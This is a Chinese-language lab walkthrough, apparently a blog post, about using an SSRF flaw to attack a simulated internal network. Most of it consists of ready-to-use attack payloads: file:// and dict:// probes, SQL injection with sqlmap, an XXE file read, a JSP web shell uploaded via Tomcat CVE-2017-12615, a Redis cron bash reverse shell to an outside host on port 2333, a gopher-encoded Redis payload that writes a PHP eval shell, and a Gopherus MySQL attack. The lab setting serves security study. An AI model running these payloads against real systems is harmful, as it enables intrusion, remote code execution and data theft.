靶场拓扑

前言

172.16.0.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网的 8080,此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。
靶场使用的是国光师傅的只做了一些小的修改。
文章大部分参考的是Junehe师傅的只做了一些小的修改。

x.x.x.x:8080-SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。
关于 SSRF 详细的内容可以看SSRF漏洞原理攻击与防御(超详细总结)这篇文章。
能够对外发起网络请求的地方,就可能存在 SSRF 比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,文档,等等。下面目标站点的功能是获取站点快照:

正常业务情况是请求网站然后响应内容,但是没做好过滤可以使用其他协议,配合 file 协议来读取本地的文件信息,首先尝试使用 file 协议来读取 /etc/passwd 文件试试看:

file:///etc/passwd


然后 Linux 的话可以通过读取 /etc/hosts 来获取当前主机的 IP

得到当前的主机 IP 为172.16.0.21 权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况。

172.16.0.0/24 - SSRF 网络嗅探

SSRF 常配合 Dict 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口
burp 爆破模块对 IP,C 段跟端口进行选择然后攻击模式选择 Cluster bomb。
关于 Dict 协议可以看 Dict 协议是什么这篇文章。

dict://172.16.0.1:80


第一个位置选择 1 - 255 也就是一个 C 段。

第二个是要探测的端口。

得到的端口开放信息。

通过爆破可以轻易地整理出端口的开放情况:

172.16.0.21 - 80
172.16.0.22 - 80
172.16.0.23 - 80\3306
172.16.0.24 - 80
172.16.0.25 - 80
172.16.0.26 - 8080
172.16.0.27 - 6379
172.16.0.28 - 6379
172.16.0.29 - 3306

172.16.0.22 - 代码注入

通过 ssrf 先请求一下发现了一个首页显示 Hello CodeExec。

利用 SSRF 对目标进行目录扫描。

添加字典。

通过长度可以可以看出来存在着 phpinfo.php 和 shell.php。

访问一下 shell.php 是一个 system 木马。

直接使用 SSRF 的 HTTP 协议来发起 GET 请求,直接给 cmd 参数传入命令值,来命令直接执行。

172.16.0.23 - Sql注入

使用 SSRF 请求站点得到一个查询的功能点

在 URL 中带入 ID 进行查询 burp 抓包

172.16.0.23/index.php?id=1


加个单引号发现报错了。

存在报错我们直接构造报错注入 payload.

url=172.16.0.23%2Findex.php%3Fid%3D1'-updatexml(1,concat(0x7e,user()),1)-'


使用 sqlmap。

sqlmap -u "http://192.168.126.129:8080/" --data "url="  --prefix "172.16.0.23/index.php?id=1'" --dbms mysql -p url --technique E -v 3 --level 3 --tamper space2comment -D db --tables "flag_is_here" --dump

172.16.0.24 - 命令执行

使用 SSRF 请求站点得到一个网络测试功能接口。


通过查看 HTML 表单可以发现是通过 POST 传给当前文件的参数是 ip。


之前都是直接通过 GET 方式来传递参数,但是这个命令执行的场景是通过 POST 方式触发的,无法使用使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据,这种情况下一般就得利用 gopher 协议来发起对内网应用的 POST 请求了,gopher 的基本请求格式如下:

gopher://<host>:<port>/<gopher-path>_<TCP数据流>

首先来抓取正常情况下 POST 请求的数据包,删除掉 HTTP 请求的这一行。

Accept-Encoding: gzip, deflate

接着在 bp 中将本 POST 数据包进行两次 URL 编码。

POST / HTTP/1.1
Host: 172.16.0.24
Content-Length: 33
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.0.24
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.16.0.24/
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

ip=127.0.0.1%3Bcat+%2Fetc%2Fhosts


两次 URL 编码后的数据就最终的 TCP 数据流,最终 SSRF 完整的攻击请求的 POST 数据包如下。

url=gopher://172.16.0.24:80/_<TCP数据流>

172.16.0.25 - XML 实体注入

使用 SSRF 请求站点得到一个用户登录功能。


通过查看 HTML 登录的时候提交 XML 数据。

这里和上面的命令执行类似,XXE 也是通过在 POST 数据包里面构造 Payload 来进行攻击。
使用 Burpsuite 对 POST 数据包进行两次 URL 编码。

POST /doLogin.php HTTP/1.1
Host: 172.16.0.25
Content-Length: 251
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Type: application/xml;charset=UTF-8
Origin: http://172.16.0.25
Referer: http://172.16.0.25/
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY N1L SYSTEM "file:///etc/hosts">]>
    <user>
        <username>
            &N1L;
        </username>
        <password>
            blog.n1l.cn
        </password>
    </user>

服务器后端对 XML 数据解析并将结果输出,所以可以构造一个 XXE 读取本地的敏感信息。

172.16.0.26 - tomcat - CVE-2017-12615

准备一个 JSP 一句话。

<%
    String command = request.getParameter("cmd");
    if(command != null)
    {
        java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    } else {
        out.print("format: xxx.jsp?cmd=Command");
    }
%>

使用 Burpsuite 对 POST 数据包进行两次 URL 编码。

PUT /shell.jsp/ HTTP/1.1
Host: 172.16.0.26:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 460

<%
    String command = request.getParameter("cmd");
    if(command != null)
    {
        java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    } else {
        out.print("format: xxx.jsp?cmd=Command");
    }
%>

通过 SSRF 发起这个 POST 请求,返回 201 状态码表示成功。

接着通过 SSRF 发起对 shell.jsp 的 HTTP 请求,成功执行了 id 的命令。

172.16.0.27 - Redis 未授权

系统没有 Web 服务(无法写 Shell),无 SSH 公私钥认证(无法写公钥),所以这里攻击思路只能是使用定时任务来进行攻击了。常规的攻击思路的主要命令如下。

# 清空 key
flushall
 
# 设置要操作的路径为定时任务目录
config set dir /var/spool/cron/
 
# 设置定时任务角色为 root
config set dbfilename root
 
# 设置定时任务内容
set x "\n* * * * * /bin/bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\n"
 
# 保存操作
save

未授权的情况下可以使用 dict 或者 gopher 协议来进行攻击,因为 gopher 协议构造比较繁琐,所以使用 DICT 协议来攻击。

dict://172.16.0.27:6379/<Redis 命令>

用 dict 协议来创建定时任务来反弹 Shell。

# 清空 key
dict://172.16.0.27:6379/flushall
 
# 设置要操作的路径为定时任务目录
dict://172.16.0.27:6379/config set dir /var/spool/cron/
 
# 在定时任务目录下创建 root 的定时任务文件
dict://172.16.0.27:6379/config set dbfilename root
 
# 写入 Bash 反弹 shell 的 payload
dict://172.16.0.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"
 
# 保存上述操作
dict://172.16.0.27:6379/save

创建定时任务后,shell 也弹回来了。

nc -lvp 2333

172.16.0.28 - Redis 有认证

有密码验证,无法直接未授权执行命令。

除了 6379 端口还开放了 80 端口,是一个经典的 LFI 本地文件包含,可以利用此来读取本地的文件内容。

因为 Redis 密码记录在 redis.conf 配置文件中,结合这个文件包含漏洞点,那么这时来尝试借助文件包含漏洞来读取 redis 的配置文件信息,Redis 常见的配置文件路径如下,也有是通过了其他方法拿到了密码比如 Spring boot heapdump。

/etc/redis.conf
/etc/redis/redis.conf
/usr/local/redis/etc/redis.conf
/opt/redis/ect/redis.conf

成功读取到 /etc/redis.conf 配置文件,直接搜索 requirepass 关键词来定位寻找密码。

有密码可以使用 dicty 验证一下是否正确,但是因为 dict 不支持多行命令的原因,这样就导致认证后的参数无法执行。

这时候就要使用 gopher 协议了,gopher 协议因为需要原生数据包,在本地安装 Redis,使用 root 身份启动Redis-server,使用 socat 命令来进行本地的模拟抓取。
监听 5200 端口,将传入的连接转发到位于 127.0.0.1 6379 端口。

socat -v tcp-listen:5200,fork tcp-connect:127.0.0.1:6379

此时使用 redis-cli 连接本地的 5200 端口:

redis-cli -h 127.0.0.1 -p 5200

服务器接着会把 4679 端口的流量接受并转发给服务器的 6379 端口,然后认证后进行往网站目录下写入 shell 的操作。

# 认证 redis
127.0.0.1:5200> auth P@ssw0rd
OK
# 清空 key
127.0.0.1:5200> flushall
 
# 设置要操作的路径为网站根目录
127.0.0.1:5200> config set dir /var/www/html
 
# 在网站目录下创建 shell.php 文件
127.0.0.1:5200> config set dbfilename shell.php
 
# 设置 shell.php 的内容
127.0.0.1:5200> set x "\n<?php eval($_GET[1]);?>\n"
 
# 保存上述操作
127.0.0.1:5200> save



与此同时我们还可以看到详细的数据包情况,下面来记录一下关键的流量情况:
接下来整理出关键的请求数据包如下。

*2\r
$4\r
auth\r
$8\r
P@ssw0rd\r
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*3\r
$3\r
set\r
$1\r
x\r
$25\r
 
 
<?php eval($_GET[1]);?>
 
 
\r
*1\r
$4\r
save\r

可以看到每行都是以 r 结尾的,但是 Redis 的协议是以 CRLF (rn) 结尾,所以转换的时候需要把 r 转换为 rn。

url=gopher://172.16.0.28:6379/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25248%250D%250AP%2540ssw0rd%250D%250A%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252422%250D%250A%250A%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

172.16.0.29 - MySQL未授权

MySQL 需要密码认证时,服务器先发送 salt 然后客户端使用 salt 加密密码然后验证;但是当无需密码认证时直接发送 TCP/IP 数据包即可。所以这种情况下是可以直接利用 SSRF 漏洞攻击 MySQL 的。因为使用 gopher 协议进行攻击需要原始的 MySQL 请求的 TCP 数据包,所以还是和攻击 Redis 应用一样,这里我们使用 tcpdump 来监听抓取 3306 的认证的原始数据包。
使用 gopherus 脚本。
https://github.com/tarunkant/Gopherus

python2 gopherus.py --exploit mysql
root
select * from flag.test

在测试的时候内网是可以利用的但是在 ssrf 中不知道为什么利用不成功(╯‵□′)╯︵┴─┴。
全剧终...

参考

https://github.com/sqlsec/ssrf-vuls
https://www.sqlsec.com/2021/05/ssrf.html
https://blog.mo60.cn/index.php/archives/425.html

最后修改:2023 年 11 月 14 日
如果觉得我的文章对你有用,请随意赞赏